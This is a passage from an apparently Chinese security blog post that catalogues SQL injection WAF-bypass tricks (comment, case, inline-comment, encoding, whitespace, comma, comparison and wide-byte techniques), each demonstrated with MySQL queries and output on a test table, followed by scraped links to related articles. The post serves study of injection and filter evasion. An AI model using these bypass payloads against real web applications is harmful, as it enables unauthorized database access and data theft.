0x00 sql注入理解

SQL注入能使攻击者绕过认证机制,完全控制远程服务器上的数据库。 SQL是结构化查询语言的简称,它是访问数据库的事实标准。目前,大多数Web应用都使用SQL数据库来存放应用程序的数据。几乎所有的Web应用在后台 都使用某种SQL数据库。跟大多数语言一样,SQL语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话,用户数据就有可能被解释成命令, 这样的话,远程用户就不仅能向Web应用输入数据,而且还可以在数据库上执行任意命令了。

sql注入的原因,表面上说是因为 拼接字符串,构成sql语句,没有使用 sql语句预编译,绑定变量;但是更深层次的原因是,将用户输入的字符串,当成了 “sql语句” 来执行。

比如语句 String sql = "select id,no from user where id=" + id;
我们希望用户输入的 id 的值,仅仅作为一个字符串字面值,传入数据库执行,但是当输入了: 2 or 1=1 时,其中的 or 1=1 并没有作为 where id= 的字面值,而是作为了 sql语句 来执行的。所以其本质是将用户的输入的数据,作为了命令来执行。

测试环境:Server version: 5.7.17-log MySQL Community Server (GPL)

0x01 sql注入绕过

1.1 注释符绕过

常用注释符:

 -- , /**/, #

验证:

  1.  
    mysql> select * from sql_test where id = /*11*/1;
  2.  
    +----+----------+----------+
  3.  
    | id | username | password |
  4.  
    +----+----------+----------+
  5.  
    | 1 | admin | 123456 |
  6.  
    +----+----------+----------+
  7.  
    1 row in set (0.00 sec)
  1.  
    mysql> select * from sql_test where id = 3;-- select * from sql_test;
  2.  
    +----+----------+----------+
  3.  
    | id | username | password |
  4.  
    +----+----------+----------+
  5.  
    | 3 | test2 | 456 |
  6.  
    +----+----------+----------+
  7.  
    1 row in set (0.00 sec)
  1.  
    mysql> select * from sql_test where id = 3;# select * from sql_test;
  2.  
    +----+----------+----------+
  3.  
    | id | username | password |
  4.  
    +----+----------+----------+
  5.  
    | 3 | test2 | 456 |
  6.  
    +----+----------+----------+
  7.  
    1 row in set (0.00 sec)

这里还从别的表哥博客中发现了一种新姿势:

  1.  
    mysql> select * from sql_test where id ='1'/1=(1=3)/'1'='1';
  2.  
    +----+----------+----------+
  3.  
    | id | username | password |
  4.  
    +----+----------+----------+
  5.  
    | 2 | test | 234 |
  6.  
    | 3 | test2 | 456 |
  7.  
    +----+----------+----------+
  8.  
    2 rows in set (0.00 sec)
  9.  
     
  10.  
    mysql> select * from sql_test where id ='1'/1=(1=1)/'1'='1';
  11.  
    +----+----------+----------+
  12.  
    | id | username | password |
  13.  
    +----+----------+----------+
  14.  
    | 1 | admin | 123456 |
  15.  
    +----+----------+----------+
  16.  
    1 row in set (0.00 sec)

理解如下:

where id=1=0/1=1
->where id=1=0=1
id!=1,比如id=2 和 id=3的时候
id=1返回了一个值为0的布尔变量
0=0继而返回了1的布尔变量
再和=1比较,返回比较成功,故选取了id2,3的记录

先除后判等,左往右

1.2 大小写绕过

sql语句忽略关键词是否大小写,其实只要waf不是故意这样设计的,基本上拦截都是大小写一起拦截的

  1.  
    mysql> select * from sql_test where id = 3 uniON sEleCt * from sql_test where id = 2;
  2.  
    +----+----------+----------+
  3.  
    | id | username | password |
  4.  
    +----+----------+----------+
  5.  
    | 3 | test2 | 456 |
  6.  
    | 2 | test | 234 |
  7.  
    +----+----------+----------+
  8.  
    2 rows in set (0.00 sec)

1.3 内联注释绕过

ummmm,解释起来就是,它把一些特有的仅在MYSQL上的语句放在 /*! ... */ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中它会执行

  1.  
    mysql> select * from sql_test where id = 3 union /*!select*/  * from sql_test where id like 2;
  2.  
    +----+----------+----------+
  3.  
    | id | username | password |
  4.  
    +----+----------+----------+
  5.  
    |  3 | test2    | 456      |
  6.  
    |  2 | test     | 234      |
  7.  
    +----+----------+----------+
  8.  
    2 rows in set (0.00 sec)

1.4 双关键字绕过

?id=1+UNIunionON+SeLselectECT+1,2,3–

这个一般用于简易waf,好心办坏事,比如说他将关键词select忽略大小写,只要有这个词,就把它替换成空(注意,只替换一次),这样原先我们注入的seleselectct是错误的,识别不出来的,但是经过waf 就变成了select,可以正确识别

1.5 编码绕过

双重url编码,这个得遇到特殊题目可以这么做,后台可能代码如下:

  1.  
    $insert=$link->query(urldecode($_GET['id']));
  2.  
    $row=$insert->fetch_row();

16进制绕过:

  1.  
    mysql> select * from sql_test where id = 3 union select * from sql_test where username = 0x74657374;
  2.  
    +----+----------+----------+
  3.  
    | id | username | password |
  4.  
    +----+----------+----------+
  5.  
    | 3 | test2 | 456 |
  6.  
    | 2 | test | 234 |
  7.  
    +----+----------+----------+
  8.  
    2 rows in set (0.06 sec)
  1.  
    mysql> select * from sql_test where username = char(116)+char(101)+char(115)+char(116);
  2.  
    +----+----------+----------+
  3.  
    | id | username | password |
  4.  
    +----+----------+----------+
  5.  
    | 1 | admin | 123456 |
  6.  
    | 2 | test | 234 |
  7.  
    | 3 | test2 | 456 |
  8.  
    +----+----------+----------+
  9.  
    3 rows in set, 3 warnings (0.00 sec)

1.6 空格绕过

waf拦截了空格,怎么办?五种考虑,用双空格/制表符代替尝试,用/**/当做空格,用括号包起来进行,用回车代替空格,反引号`的使用

  1.  
    mysql> select(id)from(sql_test)where(id=1);
  2.  
    +----+
  3.  
    | id |
  4.  
    +----+
  5.  
    | 1 |
  6.  
    +----+
  7.  
    1 row in set (0.00 sec)
  1.  
    mysql> select/**/id/**/from/**/sql_test/**/where/**/id=1/**/;
  2.  
    +----+
  3.  
    | id |
  4.  
    +----+
  5.  
    | 1 |
  6.  
    +----+
  7.  
    1 row in set (0.00 sec)
  1.  
    mysql> select
  2.  
    -> id
  3.  
    -> from
  4.  
    -> sql_test
  5.  
    -> where
  6.  
    -> id
  7.  
    -> =
  8.  
    -> 1
  9.  
    -> ;
  10.  
    +----+
  11.  
    | id |
  12.  
    +----+
  13.  
    | 1 |
  14.  
    +----+
  15.  
    1 row in set (0.00 sec)

注:url中%0a为回车

  1.  
    mysql> select username from sql_test where id=1 ;
  2.  
    +----------+
  3.  
    | username |
  4.  
    +----------+
  5.  
    | admin |
  6.  
    +----------+
  7.  
    1 row in set (0.00 sec)
  1.  
    mysql> select*from`sql_test`where`id`=1;
  2.  
    +----+----------+----------+
  3.  
    | id | username | password |
  4.  
    +----+----------+----------+
  5.  
    | 1 | admin | 123456 |
  6.  
    +----+----------+----------+
  7.  
    1 row in set (0.00 sec)

1.7  等于号绕过

拦截了等于号,我们可以用like去代替:

  1.  
    mysql> select * from sql_test where username like 'admin';
  2.  
    +----+----------+----------+
  3.  
    | id | username | password |
  4.  
    +----+----------+----------+
  5.  
    | 1 | admin | 123456 |
  6.  
    +----+----------+----------+
  7.  
    1 row in set (0.00 sec)

1.8 逗号绕过

在使用盲注的时候,需要使用到substr(),mid(),limit;这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from for的方式来解决,limit则可以用offset

  1.  
    mysql> select * from sql_test where ascii(mid(username from 1 for 1))>1;
  2.  
    +----+----------+----------+
  3.  
    | id | username | password |
  4.  
    +----+----------+----------+
  5.  
    | 1 | admin | 123456 |
  6.  
    | 2 | test | 234 |
  7.  
    | 3 | test2 | 456 |
  8.  
    +----+----------+----------+
  9.  
    3 rows in set (0.00 sec)
  10.  
     
  11.  
    mysql> select * from sql_test where ascii(mid(username from 1 for 1))>97;
  12.  
    +----+----------+----------+
  13.  
    | id | username | password |
  14.  
    +----+----------+----------+
  15.  
    | 2 | test | 234 |
  16.  
    | 3 | test2 | 456 |
  17.  
    +----+----------+----------+
  18.  
    2 rows in set (0.00 sec)
  1.  
    mysql> select * from sql_test where ascii(substr(username from 1 for 1))>97;
  2.  
    +----+----------+----------+
  3.  
    | id | username | password |
  4.  
    +----+----------+----------+
  5.  
    | 2 | test | 234 |
  6.  
    | 3 | test2 | 456 |
  7.  
    +----+----------+----------+
  8.  
    2 rows in set (0.00 sec)
  1.  
    mysql> select * from sql_test limit 1 offset 1;
  2.  
    +----+----------+----------+
  3.  
    | id | username | password |
  4.  
    +----+----------+----------+
  5.  
    | 2 | test | 234 |
  6.  
    +----+----------+----------+
  7.  
    1 row in set (0.00 sec)

1.9 大于号小于号拦截绕过

在使用盲注的时候,在爆破的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest,strcmp,in,between来进行绕过了。

  1.  
    mysql> select * from sql_test where id=1 and greatest(ascii(substr(username,1,1)),1)=97;
  2.  
    +----+----------+----------+
  3.  
    | id | username | password |
  4.  
    +----+----------+----------+
  5.  
    | 1 | admin | 123456 |
  6.  
    +----+----------+----------+
  7.  
    1 row in set (0.05 sec)
  1.  
    mysql> select * from sql_test where id=1 and strcmp(ascii(substr(username,1,1)),1);
  2.  
    +----+----------+----------+
  3.  
    | id | username | password |
  4.  
    +----+----------+----------+
  5.  
    | 1 | admin | 123456 |
  6.  
    +----+----------+----------+
  7.  
    1 row in set (0.03 sec)
  8.  
     
  9.  
    mysql> select * from sql_test where id=1 and strcmp(ascii(substr(username,1,1)),97);
  10.  
    Empty set (0.00 sec)
  1.  
    mysql> select * from sql_test where id = 1 and substr(username,1,1) in ('a');
  2.  
    +----+----------+----------+
  3.  
    | id | username | password |
  4.  
    +----+----------+----------+
  5.  
    | 1 | admin | 123456 |
  6.  
    +----+----------+----------+
  7.  
    1 row in set (0.23 sec)
  8.  
     
  9.  
    mysql> select * from sql_test where id = 1 and substr(username,1,1) in ('b');
  10.  
    Empty set (0.00 sec)
  1.  
    mysql> select * from sql_test where id = 1 and substr(username,1,1) between 0x61 and 0x63;
  2.  
    +----+----------+----------+
  3.  
    | id | username | password |
  4.  
    +----+----------+----------+
  5.  
    | 1 | admin | 123456 |
  6.  
    +----+----------+----------+
  7.  
    1 row in set (0.00 sec)
  8.  
     
  9.  
    mysql> select * from sql_test where id = 1 and substr(username,1,1) between 'a' and 'c';
  10.  
    +----+----------+----------+
  11.  
    | id | username | password |
  12.  
    +----+----------+----------+
  13.  
    | 1 | admin | 123456 |
  14.  
    +----+----------+----------+
  15.  
    1 row in set (0.00 sec)

2.0 宽字节注入

  1.  
    过滤单引号时,可以试试宽字节
  2.  
    %bf%27 %df%27 %aa%27

%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在%df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。

2.1 常用连接语句符号

or,and,union,&&,||,^

^指的是异或操作,通常用于布尔型盲注绕过连接词

2.2 几个报错注入用来绕过的函数

extractvalue/updatexml

解释太复杂了,这里有详解,点这里

2.7 \N,E0,.0绕过

其实相当于NULL字符

  1.  
    mysql> select*from sql_test where id =\Nunion select * from sql_test where id=2;
  2.  
    +----+----------+----------+
  3.  
    | id | username | password |
  4.  
    +----+----------+----------+
  5.  
    | 2 | test | 234 |
  6.  
    +----+----------+----------+
  7.  
    1 row in set (0.00 sec)
  1.  
    mysql> select*from sql_test where id =8E0union select * from sql_test where id=2;
  2.  
    +----+----------+----------+
  3.  
    | id | username | password |
  4.  
    +----+----------+----------+
  5.  
    | 2 | test | 234 |
  6.  
    +----+----------+----------+
  7.  
    1 row in set (0.00 sec)
  8.  
     
  9.  
    mysql> select*from sql_test where id =8.0union select * from sql_test where id=2;
  10.  
    +----+----------+----------+
  11.  
    | id | username | password |
  12.  
    +----+----------+----------+
  13.  
    | 2 | test | 234 |
  14.  
    +----+----------+----------+
  15.  
    1 row in set (0.06 sec)
  1.  
    mysql> select*from sql_test where id =7E0;
  2.  
    Empty set (0.00 sec)
  3.  
     
  4.  
    mysql> select*from sql_test where id =7.0;
  5.  
    Empty set (0.00 sec)
  6.  
     
  7.  
    mysql> select*from sql_test where id =\N;
  8.  
    Empty set (0.00 sec)

sql绕过2的更多相关文章

  1. 【sql绕过】Bypass waf notepad of def

    文章是通过阅读<[独家连载]我的WafBypass之道 (SQL注入篇)>写的阅读笔记. Waf的类型 1.云waf云waf通常是CDN包含的waf,DNS在解析的时候要解析到cdn上面制 ...

  2. sql绕过转义符注入

    宽字节绕过总结 1.  重点:转义符反斜杠\,ASCII码0x5C 2.  在双字节字符集中, 在\前面增加高字节,0x5C被当做低字节,组合为“汉字”,导致\符号被“吃掉”,后续字符逃出限制,从而绕 ...

  3. sql绕过小技巧

    两个空格代替一个空格,用Tab代替空格,%a0=空格: %20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/ 最基本的绕过方法,用注释替换空格: /* 注释 */ 使用 ...

  4. 时间序列大数据平台建设(Time Series Data,简称TSD)

    来源:https://blog.csdn.net/bluishglc/article/details/79277455 引言在大数据的生态系统里,时间序列数据(Time Series Data,简称T ...

  5. JarvisOJ平台Web题部分writeup

    PORT51 题目链接:http://web.jarvisoj.com:32770/ 这道题本来以为是访问服务器的51号端口,但是想想又不太对,应该是本地的51号端口访问服务器 想着用linux下的c ...

  6. CG-CTF 南邮 综合题2

    个人网站 http://www.wjlshare.tk 0x00前言 主要考了三块 第一块是文件包含获取源码 第二块是通过sql绕过注入获取密码 第三块是三参数回调后门的利用 做这题的时候结合了别人的 ...

  7. 深入理解 EF Core:使用查询过滤器实现数据软删除

    原文:https://bit.ly/2Cy3J5f 作者:Jon P Smith 翻译:王亮 声明:我翻译技术文章不是逐句翻译的,而是根据我自己的理解来表述的.其中可能会去除一些本人实在不知道如何组织 ...

  8. 深入理解SQL注入绕过WAF和过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  9. PHP函数 addslashes() 和 mysql_real_escape_string() 的区别 && SQL宽字节,绕过单引号注入攻击

    首先:不要使用 mysql_escape_string(),它已被弃用,请使用 mysql_real_escape_string() 代替它. mysql_real_escape_string() 和 ...

随机推荐

  1. 监控-Cat项目部署

    一.Cat的项目背景 CAT(Central Application Tracking),是美团点评基于 Java 开发的一套开源的分布式实时监控系统.美团点评基础架构部希望在基础存储.高性能通信.大 ...

  2. Python - Git仓库忽略提交规则 & .gitignore配置

    Git 忽略文件提交的方法 有三种方法可以实现忽略Git中不想提交的文件. 在Git项目中定义 .gitignore 文件 这种方式通过在项目的某个文件夹下定义  .gitignore 文件,在该文件 ...

  3. Java—字符流

    一.字符流 字符流概述: 在操作过程中字节流可以操作所有数据,操作的文件中有中文字符,并且需要对 中文字符做出处理 二.字符编码表 文字-->(数字):编码."abc".ge ...

  4. Spring Security 实战干货:OAuth2授权回调的处理机制

    1. 前言 上一文着重讲了当用户发起第三方授权请求是如何初始化OAuth2AuthorizationRequest授权请求对象以及如何通过过滤器进行转发到第三方的.今天我们接着这个流程往下走,来看看服 ...

  5. Nagios 告警配置太复杂?CA简单实现Nagios自定义多功能告警

    Nagios 是一个插件式的监控系统,可以监控服务的运行状态和网络信息等,并能监视所指定的本地或远程主机参数以及服务,同时提供异常告警通知功能等.Nagios 支持客户端的数据采集,通过编写客户端插件 ...

  6. Android状态栏与布局重叠解决方案

    问题起因: 同组的同事将项目全局设置成了沉浸式,对于我这个半路过来开发的人 可真是头疼呵~ 没办法,那就我自己添加一个头吧.也可以在布局中取消沉浸式,不过我这个是在fragment中,为了不修改之前的 ...

  7. 双数组字典树(Double Array Trie)

    参考文献 1.双数组字典树(DATrie)详解及实现 2.小白详解Trie树 3.论文<基于双数组Trie树算法的字典改进和实现> DAT的基本内容介绍这里就不展开说了,从Trie过来的同 ...

  8. charles技能之修改请求参数/返回数据(map Local、Rewrite、Breakpoints)

    之前一直用postman调接口比较多,但有时候想要去修改APP的页面展示,造数据又会比较麻烦,此时可以用以下三种方法修改请求参数或修改响应: map Local(本地映射).Breakpoints(打 ...

  9. 【java从入门到精通】day-06-基本运算符-自增自减运算符

    1.运算符 java语言支持如下运算符: 算术运算符:+,-,*,/,%,++,-- 赋值运算符:= 关系运算符:>,<,>=,<=,==,!=,instanceof 逻辑运算 ...

  10. Python_微信开发

    <!-- 发消息功能 --> 0.微信开发的2个库 pip install werobot pip install 1.新建项目 2.项目下新建 robot 的app 3.写robot.p ...